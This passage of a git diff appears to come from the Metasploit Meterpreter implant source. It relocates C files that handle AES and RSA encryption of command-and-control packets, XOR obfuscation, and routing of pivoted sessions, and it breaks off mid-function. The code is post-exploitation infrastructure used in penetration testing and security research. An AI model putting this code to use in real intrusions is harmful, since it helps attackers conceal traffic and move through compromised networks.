sizeof(Packet)))) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + DWORD encFlags = ntohl(header->enc_flags); + vdprintf("[DEC] Encryption flags set to %x", encFlags); + + // Only decrypt if the context was set up correctly + if (remote->enc_ctx != NULL && remote->enc_ctx->valid && encFlags != ENC_FLAG_NONE) + { + vdprintf("[DEC] Context is valid, moving on ... "); + LPBYTE payload = buffer + sizeof(PacketHeader); + + // the first 16 bytes of the payload we're given is the IV + LPBYTE iv = payload; + + vdprintf("[DEC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); + + // the rest of the payload bytes contains the actual encrypted data + DWORD encryptedSize = ntohl(header->length) - sizeof(TlvHeader) - AES256_BLOCKSIZE; + LPBYTE encryptedData = payload + AES256_BLOCKSIZE; + + vdprintf("[DEC] Encrypted Size: %u (%x)", encryptedSize, encryptedSize); + vdprintf("[DEC] Encrypted Size mod AES256_BLOCKSIZE: %u", encryptedSize % AES256_BLOCKSIZE); + + if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) + { + result = GetLastError(); + vdprintf("[DEC] Failed to duplicate key: %d (%x)", result, result); + break; + } + + DWORD mode = CRYPT_MODE_CBC; + if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) + { + result = GetLastError(); + dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); + break; + } + + // decrypt! + if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) + { + result = GetLastError(); + vdprintf("[DEC] Failed to set IV: %d (%x)", result, result); + break; + } + + if (!CryptDecrypt(dupKey, 0, TRUE, 0, encryptedData, &encryptedSize)) + { + result = GetLastError(); + vdprintf("[DEC] Failed to decrypt: %d (%x)", result, result); + break; + } + + // shift the decrypted data back to the start of the packet buffer so that we + // can pretend it's a normal packet + memmove_s(iv, encryptedSize, encryptedData, encryptedSize); + + // adjust the header size + header->length = htonl(encryptedSize + sizeof(TlvHeader)); + + // done, the packet parsing can continue as normal now + } + + localPacket->header.length = header->length; + localPacket->header.type = header->type; + localPacket->payloadLength = ntohl(localPacket->header.length) - sizeof(TlvHeader); + + vdprintf("[DEC] Actual payload Length: %d", localPacket->payloadLength); + vdprintf("[DEC] Header Type: %d", ntohl(localPacket->header.type)); + + localPacket->payload = malloc(localPacket->payloadLength); + if (localPacket->payload == NULL) + { + vdprintf("[DEC] failed to allocate payload"); + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + vdprintf("[DEC] Local packet payload successfully allocated, copying data"); + memcpy_s(localPacket->payload, localPacket->payloadLength, buffer + sizeof(PacketHeader), localPacket->payloadLength); + +#ifdef DEBUGTRACE + h = localPacket->payload; + vdprintf("[DEC] TLV 1 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); + DWORD tl = ntohl(((TlvHeader*)h)->length); + vdprintf("[DEC] Skipping %u bytes", tl); + h += tl; + vdprintf("[DEC] TLV 2 length / type: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7]); +#endif + + vdprintf("[DEC] Writing localpacket %p to packet pointer %p", localPacket, packet); + *packet = localPacket; + } while (0); + + if (result != ERROR_SUCCESS) + { + if (localPacket != NULL) + { + packet_destroy(localPacket); + } + } + if (dupKey != 0) + { + CryptDestroyKey(dupKey); + } + + return result; +} + +DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize) +{ + DWORD result = ERROR_SUCCESS; + HCRYPTKEY dupKey = 0; + + vdprintf("[ENC] Preparing for encryption ..."); + + // create a new XOR key here, because the content will be copied into the final + // payload as part of the prepration process + rand_xor_key(packet->header.xor_key); + + // copy the session ID to the header as this will be used later to identify the packet's destination session + memcpy_s(packet->header.session_guid, sizeof(packet->header.session_guid), remote->orig_config->session.session_guid, sizeof(remote->orig_config->session.session_guid)); + + // Only encrypt if the context was set up correctly + if (remote->enc_ctx != NULL && remote->enc_ctx->valid) + { + vdprintf("[ENC] Context is valid, moving on ... "); + // only encrypt the packet if encryption has been enabled + if (remote->enc_ctx->enabled) + { + do + { + vdprintf("[ENC] Context is enabled, doing the AES encryption"); + + if (!CryptDuplicateKey(remote->enc_ctx->aes_key, NULL, 0, &dupKey)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to duplicate AES key: %d (%x)", result, result); + break; + } + + DWORD mode = CRYPT_MODE_CBC; + if (!CryptSetKeyParam(dupKey, KP_MODE, (const BYTE*)&mode, 0)) + { + result = GetLastError(); + dprintf("[ENC] Failed to set mode to CBC: %d (%x)", result, result); + break; + } + + BYTE iv[AES256_BLOCKSIZE]; + if (!CryptGenRandom(remote->enc_ctx->provider, sizeof(iv), iv)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to generate random IV: %d (%x)", result, result); + } + + vdprintf("[ENC] IV: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + iv[0], iv[1], iv[2], iv[3], iv[4], iv[5], iv[6], iv[7], iv[8], iv[9], iv[10], iv[11], iv[12], iv[13], iv[14], iv[15]); + + + if (!CryptSetKeyParam(dupKey, KP_IV, iv, 0)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to set IV: %d (%x)", result, result); + break; + } + + vdprintf("[ENC] IV Set successfully"); + // mark this packet as an encrypted packet + packet->header.enc_flags = htonl(ENC_FLAG_AES256); + + + // Round up + DWORD maxEncryptSize = ((packet->payloadLength / AES256_BLOCKSIZE) + 1) * AES256_BLOCKSIZE; + // Need to have space for the IV at the start, as well as the packet Header + DWORD memSize = maxEncryptSize + sizeof(iv) + sizeof(packet->header); + + *buffer = (BYTE*)malloc(memSize); + BYTE* headerPos = *buffer; + BYTE* ivPos = headerPos + sizeof(packet->header); + BYTE* payloadPos = ivPos + sizeof(iv); + + *bufferSize = packet->payloadLength; + + // prepare the payload + memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); + + if (!CryptEncrypt(dupKey, 0, TRUE, 0, payloadPos, bufferSize, maxEncryptSize)) + { + result = GetLastError(); + vdprintf("[ENC] Failed to encrypt: %d (%x)", result, result); + } + else + { + vdprintf("[ENC] Data encrypted successfully, size is %u", *bufferSize); + } + + // update the length to match the size of the encrypted data with IV and the TlVHeader + packet->header.length = ntohl(*bufferSize + sizeof(iv) + sizeof(TlvHeader)); + + // update the returned total size to include both the IV and header size. + *bufferSize += sizeof(iv) + sizeof(packet->header); + + // write the header and IV to the payload + memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); + memcpy_s(ivPos, sizeof(iv), iv, sizeof(iv)); + } while (0); + } + else + { + dprintf("[ENC] Enabling the context"); + // if the encryption is valid, then we set the enbaled flag here because + // we know that the first packet going out is the response to the negotiation + // and from here we want to make sure that the encryption function is on. + remote->enc_ctx->enabled = TRUE; + } + } + else + { + vdprintf("[ENC] No encryption context present"); + } + + // if we don't have a valid buffer at this point, we'll create one and add the packet as per normal + if (*buffer == NULL) + { + *bufferSize = packet->payloadLength + sizeof(packet->header); + *buffer = (BYTE*)malloc(*bufferSize); + + BYTE* headerPos = *buffer; + BYTE* payloadPos = headerPos + sizeof(packet->header); + + // mark this packet as a non-encrypted packet + packet->header.enc_flags = htonl(ENC_FLAG_NONE); + + memcpy_s(headerPos, sizeof(packet->header), &packet->header, sizeof(packet->header)); + memcpy_s(payloadPos, packet->payloadLength, packet->payload, packet->payloadLength); + } + vdprintf("[ENC] Packet buffer size is: %u", *bufferSize); + +#ifdef DEBUGTRACE + LPBYTE h = *buffer; + vdprintf("[ENC] Sending header (before XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + // finally XOR obfuscate like we always did before, skippig the xor key itself. + xor_bytes(packet->header.xor_key, *buffer + sizeof(packet->header.xor_key), *bufferSize - sizeof(packet->header.xor_key)); + + vdprintf("[ENC] Packet encoded and ready for transmission"); +#ifdef DEBUGTRACE + vdprintf("[ENC] Sending header (after XOR): [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", + h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); +#endif + + if (dupKey != 0) + { + CryptDestroyKey(dupKey); + } + + return result; +} + +DWORD public_key_encrypt(CHAR* publicKeyPem, unsigned char* data, DWORD dataLength, unsigned char** encryptedData, DWORD* encryptedDataLength) +{ + DWORD result = ERROR_SUCCESS; + LPBYTE pubKeyBin = NULL; + CERT_PUBLIC_KEY_INFO* pubKeyInfo = NULL; + HCRYPTPROV rsaProv = 0; + HCRYPTKEY pubCryptKey = 0; + LPBYTE cipherText = NULL; + + do + { + if (publicKeyPem == NULL) + { + result = ERROR_BAD_ARGUMENTS; + break; + } + + DWORD binaryRequiredSize = 0; + CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, NULL, &binaryRequiredSize, NULL, NULL); + dprintf("[ENC] Required size for the binary key is: %u (%x)", binaryRequiredSize, binaryRequiredSize); + + pubKeyBin = (LPBYTE)malloc(binaryRequiredSize); + if (pubKeyBin == NULL) + { + result = ERROR_OUTOFMEMORY; + break; + } + + if (!CryptStringToBinaryA(publicKeyPem, 0, CRYPT_STRING_BASE64HEADER, pubKeyBin, &binaryRequiredSize, NULL, NULL)) + { + result = GetLastError(); + dprintf("[ENC] Failed to convert the given base64 encoded key into bytes: %u (%x)", result, result); + break; + } + + DWORD keyRequiredSize = 0; + if (!CryptDecodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO, pubKeyBin, binaryRequiredSize, CRYPT_ENCODE_ALLOC_FLAG, 0, &pubKeyInfo, &keyRequiredSize)) + { + result = GetLastError(); + dprintf("[ENC] Failed to decode: %u (%x)", result, result); + break; + } + + dprintf("[ENC] Key algo: %s", pubKeyInfo->Algorithm.pszObjId); + + if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + dprintf("[ENC] Failed to create the RSA provider with CRYPT_VERIFYCONTEXT"); + if (!CryptAcquireContext(&rsaProv, NULL, MS_ENHANCED_PROV, PROV_RSA_FULL, CRYPT_NEWKEYSET)) + { + result = GetLastError(); + dprintf("[ENC] Failed to create the RSA provider with CRYPT_NEWKEYSET: %u (%x)", result, result); + break; + } + else + { + dprintf("[ENC] Created the RSA provider with CRYPT_NEWKEYSET"); + } + } + else + { + dprintf("[ENC] Created the RSA provider with CRYPT_VERIFYCONTEXT"); + } + + if (!CryptImportPublicKeyInfo(rsaProv, X509_ASN_ENCODING, pubKeyInfo, &pubCryptKey)) + { + result = GetLastError(); + dprintf("[ENC] Failed to import the key: %u (%x)", result, result); + break; + } + + DWORD requiredEncSize = dataLength; + CryptEncrypt(pubCryptKey, 0, TRUE, 0, NULL, &requiredEncSize, requiredEncSize); + dprintf("[ENC] Encrypted data length: %u (%x)", requiredEncSize, requiredEncSize); + + cipherText = (LPBYTE)calloc(1, requiredEncSize); + if (cipherText == NULL) + { + result = ERROR_OUTOFMEMORY; + break; + } + + memcpy_s(cipherText, requiredEncSize, data, dataLength); + + if (!CryptEncrypt(pubCryptKey, 0, TRUE, 0, cipherText, &dataLength, requiredEncSize)) + { + result = GetLastError(); + dprintf("[ENC] Failed to encrypt: %u (%x)", result, result); + } + else + { + dprintf("[ENC] Encryption witih RSA succeded, byteswapping because MS is stupid and does stuff in little endian."); + // Given that we are encrypting such a small amount of data, we're going to assume that the size + // of the key matches the size of the block of data we've decrypted. + for (DWORD i = 0; i < requiredEncSize / 2; ++i) + { + BYTE b = cipherText[i]; + cipherText[i] = cipherText[requiredEncSize - i - 1]; + cipherText[requiredEncSize - i - 1] = b; + } + + *encryptedData = cipherText; + *encryptedDataLength = requiredEncSize; + } + } while (0); + + if (result != ERROR_SUCCESS) + { + if (cipherText != NULL) + { + free(cipherText); + } + } + + if (pubKeyInfo != NULL) + { + LocalFree(pubKeyInfo); + } + + if (pubCryptKey != 0) + { + CryptDestroyKey(pubCryptKey); + } + + if (rsaProv != 0) + { + CryptReleaseContext(rsaProv, 0); + } + + return result; +} + +DWORD free_encryption_context(Remote* remote) +{ + DWORD result = ERROR_SUCCESS; + + dprintf("[ENC] Freeing encryption context %p", remote->enc_ctx); + if (remote->enc_ctx != NULL) + { + dprintf("[ENC] Encryption context not null, so ditching AES key %ul", remote->enc_ctx->aes_key); + if (remote->enc_ctx->aes_key != 0) + { + CryptDestroyKey(remote->enc_ctx->aes_key); + } + + dprintf("[ENC] Encryption context not null, so ditching provider"); + if (remote->enc_ctx->provider != 0) + { + CryptReleaseContext(remote->enc_ctx->provider, 0); + } + + dprintf("[ENC] Encryption context not null, so freeing the context"); + free(remote->enc_ctx); + remote->enc_ctx = NULL; + } + return result; +} + +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = packet_create_response(packet); + + do + { + if (remote->enc_ctx != NULL) + { + free_encryption_context(remote); + } + + remote->enc_ctx = (PacketEncryptionContext*)calloc(1, sizeof(PacketEncryptionContext)); + + if (remote->enc_ctx == NULL) + { + dprintf("[ENC] failed to allocate the encryption context"); + result = ERROR_OUTOFMEMORY; + break; + } + + PacketEncryptionContext* ctx = remote->enc_ctx; + + for (int i = 0; i < _countof(AesProviders); ++i) + { + if (!CryptAcquireContext(&ctx->provider, NULL, AesProviders[i].provider, AesProviders[i].type, AesProviders[i].flags)) + { + result = GetLastError(); + dprintf("[ENC] failed to acquire the crypt context %d: %d (%x)", i, result, result); + } + else + { + result = ERROR_SUCCESS; + ctx->provider_idx = i; + dprintf("[ENC] managed to acquire the crypt context %d!", i); + break; + } + } + + if (result != ERROR_SUCCESS) + { + break; + } + + ctx->key_data.header.bType = PLAINTEXTKEYBLOB; + ctx->key_data.header.bVersion = CUR_BLOB_VERSION; + ctx->key_data.header.aiKeyAlg = CALG_AES_256; + ctx->key_data.length = sizeof(ctx->key_data.key); + + if (!CryptGenRandom(ctx->provider, ctx->key_data.length, ctx->key_data.key)) + { + result = GetLastError(); + dprintf("[ENC] failed to generate random key: %d (%x)", result, result); + break; + } + + if (!CryptImportKey(ctx->provider, (const BYTE*)&ctx->key_data, sizeof(Aes256Key), 0, 0, &ctx->aes_key)) + { + result = GetLastError(); + dprintf("[ENC] failed to import random key: %d (%x)", result, result); + break; + } + + // now we need to encrypt this key data using the public key given + CHAR* pubKeyPem = packet_get_tlv_value_string(packet, TLV_TYPE_RSA_PUB_KEY); + unsigned char* cipherText = NULL; + DWORD cipherTextLength = 0; + DWORD pubEncryptResult = public_key_encrypt(pubKeyPem, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length, &cipherText, &cipherTextLength); + + packet_add_tlv_uint(response, TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256); + if (pubEncryptResult == ERROR_SUCCESS && cipherText != NULL) + { + // encryption succeeded, pass this key back to the call in encrypted form + packet_add_tlv_raw(response, TLV_TYPE_ENC_SYM_KEY, cipherText, cipherTextLength); + free(cipherText); + } + else + { + // no public key was given, so send it back in the raw + packet_add_tlv_raw(response, TLV_TYPE_SYM_KEY, remote->enc_ctx->key_data.key, remote->enc_ctx->key_data.length); + } + + ctx->valid = TRUE; + } while (0); + + packet_transmit_response(result, remote, response); + + remote->enc_ctx->enabled = TRUE; + + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/common/packet_encryption.h b/c/meterpreter/source/metsrv/packet_encryption.h old mode 100755 new mode 100644 similarity index 83% rename from c/meterpreter/source/common/packet_encryption.h rename to c/meterpreter/source/metsrv/packet_encryption.h index bd4b4fc0..feb532ef --- a/c/meterpreter/source/common/packet_encryption.h +++ b/c/meterpreter/source/metsrv/packet_encryption.h @@ -1,36 +1,36 @@ -#ifndef _METERPRETER_SOURCE_COMMON_PACKET_ENCRYPTION_H -#define _METERPRETER_SOURCE_COMMON_PACKET_ENCRYPTION_H - -#include - -#define AES256_BLOCKSIZE 16 -#define ENC_FLAG_NONE 0x0 -#define ENC_FLAG_AES256 0x1 - -typedef struct _Aes256Key -{ - BLOBHEADER header; - DWORD length; - BYTE key[256/8]; -} Aes256Key; - -typedef struct _PacketEncryptionContext -{ - HCRYPTPROV provider; - HCRYPTKEY aes_key; - int provider_idx; - BOOL valid; - Aes256Key key_data; - BOOL enabled; -} PacketEncryptionContext; - -typedef struct _Remote Remote; -typedef struct _Packet Packet; - -DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize); -DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize); -DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); -DWORD free_encryption_context(Remote* remote); - -#endif - +#ifndef _METERPRETER_METSRV_PACKET_ENCRYPTION_H +#define _METERPRETER_METSRV_PACKET_ENCRYPTION_H + +#include + +#define AES256_BLOCKSIZE 16 +#define ENC_FLAG_NONE 0x0 +#define ENC_FLAG_AES256 0x1 + +typedef struct _Aes256Key +{ + BLOBHEADER header; + DWORD length; + BYTE key[256/8]; +} Aes256Key; + +typedef struct _PacketEncryptionContext +{ + HCRYPTPROV provider; + HCRYPTKEY aes_key; + int provider_idx; + BOOL valid; + Aes256Key key_data; + BOOL enabled; +} PacketEncryptionContext; + +typedef struct _Remote Remote; +typedef struct _Packet Packet; + +DWORD decrypt_packet(Remote* remote, Packet** packet, LPBYTE buffer, DWORD bufferSize); +DWORD encrypt_packet(Remote* remote, Packet* packet, LPBYTE* buffer, LPDWORD bufferSize); +DWORD request_negotiate_aes_key(Remote* remote, Packet* packet); +DWORD free_encryption_context(Remote* remote); + +#endif + diff --git a/c/meterpreter/source/common/pivot_packet_dispatch.c b/c/meterpreter/source/metsrv/pivot_packet_dispatch.c old mode 100755 new mode 100644 similarity index 95% rename from c/meterpreter/source/common/pivot_packet_dispatch.c rename to c/meterpreter/source/metsrv/pivot_packet_dispatch.c index 3eb5d25e..d84486f0 --- a/c/meterpreter/source/common/pivot_packet_dispatch.c +++ b/c/meterpreter/source/metsrv/pivot_packet_dispatch.c @@ -1,31 +1,31 @@ -#include "common.h" -#include "pivot_packet_dispatch.h" - -DWORD THREADCALL pivot_packet_dispatch_thread(THREAD* thread) -{ - dprintf("[PIVOTPACKETTHREAD] Dispatching packet on thread %p", thread); - PivotContext* pivotCtx = (PivotContext*)thread->parameter1; - LPBYTE packetBuffer = (LPBYTE)thread->parameter2; - DWORD packetSize = (DWORD)(DWORD_PTR)thread->parameter3; - DWORD result = pivotCtx->packet_write(pivotCtx->state, packetBuffer, packetSize); - dprintf("[PIVOTPACKETTHREAD] Packet dispatched: %u (%x)", result, result); - free(packetBuffer); - dprintf("[PIVOTPACKETTHREAD] Cleaning up the thread"); - thread_destroy(thread); - dprintf("[PIVOTPACKETTHREAD] Done"); - return result; -} - -DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize) -{ - THREAD* thread = thread_create(pivot_packet_dispatch_thread, pivotCtx, packetBuffer, (LPVOID)(DWORD_PTR)packetSize); - if (thread) - { - dprintf("[PIVOTPACKET] Dispatching packet on new thread %p", thread); - thread_run(thread); - dprintf("[PIVOTPACKET] Thread invoked %p", thread); - return ERROR_SUCCESS; - } - dprintf("[PIVOTPACKET] Failed to create packet dispatch thread"); - return ERROR_OUTOFMEMORY; +#include "metsrv.h" +#include "pivot_packet_dispatch.h" + +DWORD THREADCALL pivot_packet_dispatch_thread(THREAD* thread) +{ + dprintf("[PIVOTPACKETTHREAD] Dispatching packet on thread %p", thread); + PivotContext* pivotCtx = (PivotContext*)thread->parameter1; + LPBYTE packetBuffer = (LPBYTE)thread->parameter2; + DWORD packetSize = (DWORD)(DWORD_PTR)thread->parameter3; + DWORD result = pivotCtx->packet_write(pivotCtx->state, packetBuffer, packetSize); + dprintf("[PIVOTPACKETTHREAD] Packet dispatched: %u (%x)", result, result); + free(packetBuffer); + dprintf("[PIVOTPACKETTHREAD] Cleaning up the thread"); + thread_destroy(thread); + dprintf("[PIVOTPACKETTHREAD] Done"); + return result; +} + +DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize) +{ + THREAD* thread = thread_create(pivot_packet_dispatch_thread, pivotCtx, packetBuffer, (LPVOID)(DWORD_PTR)packetSize); + if (thread) + { + dprintf("[PIVOTPACKET] Dispatching packet on new thread %p", thread); + thread_run(thread); + dprintf("[PIVOTPACKET] Thread invoked %p", thread); + return ERROR_SUCCESS; + } + dprintf("[PIVOTPACKET] Failed to create packet dispatch thread"); + return ERROR_OUTOFMEMORY; } \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/pivot_packet_dispatch.h b/c/meterpreter/source/metsrv/pivot_packet_dispatch.h new file mode 100644 index 00000000..db00ffd8 --- /dev/null +++ b/c/meterpreter/source/metsrv/pivot_packet_dispatch.h @@ -0,0 +1,6 @@ +#ifndef _METERPRETER_METSRV_PIVOT_PACKET_DISPATCH +#define _METERPRETER_METSRV_PIVOT_PACKET_DISPATCH + +DWORD pivot_packet_dispatch(PivotContext* pivotCtx, LPBYTE packetBuffer, DWORD packetSize); + +#endif \ No newline at end of file diff --git a/c/meterpreter/source/common/pivot_tree.c b/c/meterpreter/source/metsrv/pivot_tree.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/common/pivot_tree.c rename to c/meterpreter/source/metsrv/pivot_tree.c index d90ee68c..a9cbd123 --- a/c/meterpreter/source/common/pivot_tree.c +++ b/c/meterpreter/source/metsrv/pivot_tree.c @@ -1,296 +1,296 @@ -#include "common.h" -#include "pivot_tree.h" - -typedef struct _PivotNode -{ - BYTE guid[sizeof(GUID)]; - PivotContext* ctx; - - struct _PivotNode* left; - struct _PivotNode* right; -} PivotNode; - -#ifdef DEBUGTRACE -void pivot_tree_to_string(char** buffer, PivotNode* node, char* prefix) -{ - // each line is the prefix size, plus the guid size plus a null and a \n and the two pointers - int curLen = *buffer ? (int)strlen(*buffer) : 0; - int newLen = (int)strlen(prefix) + 32 + 2 + (sizeof(LPVOID) * 2 + 8) * 2; - *buffer = (char*)realloc(*buffer, curLen + 1 + newLen); - if (node != NULL) - { - PUCHAR h = node->guid; - sprintf(*buffer + curLen, "%s%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X (%p) (%p)\n\x00", - prefix, - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], - node->left, node->right); - char p[512]; - sprintf(p, "%.*s|", (int)(INT_PTR)strlen(prefix), " "); - // print the right hand side first, as it seems to make sense when viewing the content - pivot_tree_to_string(buffer, node->right, p); - pivot_tree_to_string(buffer, node->left, p); - } - else - { - sprintf(*buffer + strlen(*buffer), "%sNULL\n", prefix); - } -} - -void dbgprint_pivot_tree(PivotTree* tree) -{ - char* buffer = NULL; - pivot_tree_to_string(&buffer, tree->head, " "); - if (buffer) - { - dprintf("[PIVOTTREE] contents:\n%s", buffer); - free(buffer); - } -} -#endif - -PivotTree* pivot_tree_create() -{ - return (PivotTree*)calloc(1, sizeof(PivotTree)); -} - -DWORD pivot_tree_add_node(PivotNode* parent, PivotNode* node) -{ - int cmp = memcmp(node->guid, parent->guid, sizeof(parent->guid)); - - if (cmp < 0) - { - if (parent->left == NULL) - { - dprintf("[PIVOTTREE] Adding node to left"); - parent->left = node; - return ERROR_SUCCESS; - } - - dprintf("[PIVOTTREE] Adding node to left subtree"); - return pivot_tree_add_node(parent->left, node); - } - - if (parent->right == NULL) - { - dprintf("[PIVOTTREE] Adding node to right"); - parent->right = node; - return ERROR_SUCCESS; - } - - dprintf("[PIVOTTREE] Adding node to right subtree"); - return pivot_tree_add_node(parent->right, node); -} - -DWORD pivot_tree_add(PivotTree* tree, LPBYTE guid, PivotContext* ctx) -{ - PivotNode* node = (PivotNode*)calloc(1, sizeof(PivotNode)); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&guid[0]; - dprintf("[PIVOTTREE] Adding GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - memcpy(node->guid, guid, sizeof(node->guid)); - node->ctx = ctx; - - if (tree->head == NULL) - { - tree->head = node; - return ERROR_SUCCESS; - } - - return pivot_tree_add_node(tree->head, node); -} - -PivotNode* pivot_tree_largest_node(PivotNode* node) -{ - if (node == NULL) - { - return NULL; - } - - if (node->right == NULL) - { - return node; - } - return pivot_tree_largest_node(node->right); -} - -PivotContext* pivot_tree_remove_node(PivotNode* parent, LPBYTE guid) -{ - dprintf("[PIVOTTREE] Trying to remove from %p (%p) (%p)", parent, parent->left, parent->right); - int cmp = memcmp(guid, parent->guid, sizeof(parent->guid)); - if (cmp < 0 && parent->left != NULL) - { - dprintf("[PIVOTTREE] Removing from left subtree"); - int cmp = memcmp(guid, parent->left->guid, sizeof(parent->guid)); - dprintf("[PIVOTTREE] Right left compare: %d", cmp); - if (cmp == 0) - { - dprintf("[PIVOTTREE] Removing right child"); - PivotNode* remove = parent->left; - PivotNode* left = remove->left; - PivotNode* largest = pivot_tree_largest_node(left); - - if (largest != NULL) - { - largest->right = remove->right; - parent->left = left; - } - else - { - parent->left = remove->right; - } - - PivotContext* context = remove->ctx; - free(remove); - return context; - } - - return pivot_tree_remove_node(parent->left, guid); - } - - if (cmp > 0 && parent->right != NULL) - { - dprintf("[PIVOTTREE] Removing from right subtree"); - int cmp = memcmp(guid, parent->right->guid, sizeof(parent->guid)); - dprintf("[PIVOTTREE] Right subtree compare: %d", cmp); - if (cmp == 0) - { - dprintf("[PIVOTTREE] Removing right child"); - PivotNode* remove = parent->right; - PivotNode* left = remove->left; - PivotNode* largest = pivot_tree_largest_node(left); - - if (largest != NULL) - { - largest->right = remove->right; - parent->right = left; - } - else - { - parent->right = remove->right; - } - - PivotContext* context = remove->ctx; - free(remove); - return context; - } - - return pivot_tree_remove_node(parent->right, guid); - } - - return NULL; -} - -PivotContext* pivot_tree_remove(PivotTree* tree, LPBYTE guid) -{ -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&guid[0]; - dprintf("[PIVOTTREE] Removing GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - if (tree->head == NULL) - { - return NULL; - } - - int cmp = memcmp(guid, tree->head->guid, sizeof(tree->head->guid)); - - if (cmp == 0) - { - dprintf("[PIVOTTREE] Removing head node"); - PivotNode* remove = tree->head; - PivotNode* left = tree->head->left; - PivotNode* largest = pivot_tree_largest_node(left); - - if (largest != NULL) - { - largest->right = tree->head->right; - tree->head = left; - } - else - { - tree->head = tree->head->right; - } - - PivotContext* context = remove->ctx; - free(remove); - return context; - } - - dprintf("[PIVOTTREE] Removing non-head node"); - return pivot_tree_remove_node(tree->head, guid); -} - -PivotContext* pivot_tree_find_node(PivotNode* node, LPBYTE guid) -{ - if (node == NULL) - { - dprintf("[PIVOTTREE] Current pivot node is null, bailing out"); - return NULL; - } - -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&guid[0]; - dprintf("[PIVOTTREE] Saerch GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - h = node->guid; - dprintf("[PIVOTTREE] Node GUID: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); -#endif - - int cmp = memcmp(guid, node->guid, sizeof(node->guid)); - if (cmp == 0) - { - dprintf("[PIVOTTREE] node found"); - return node->ctx; - } - - if (cmp < 0) - { - dprintf("[PIVOTTREE] Searching left subtree"); - return pivot_tree_find_node(node->left, guid); - } - - dprintf("[PIVOTTREE] 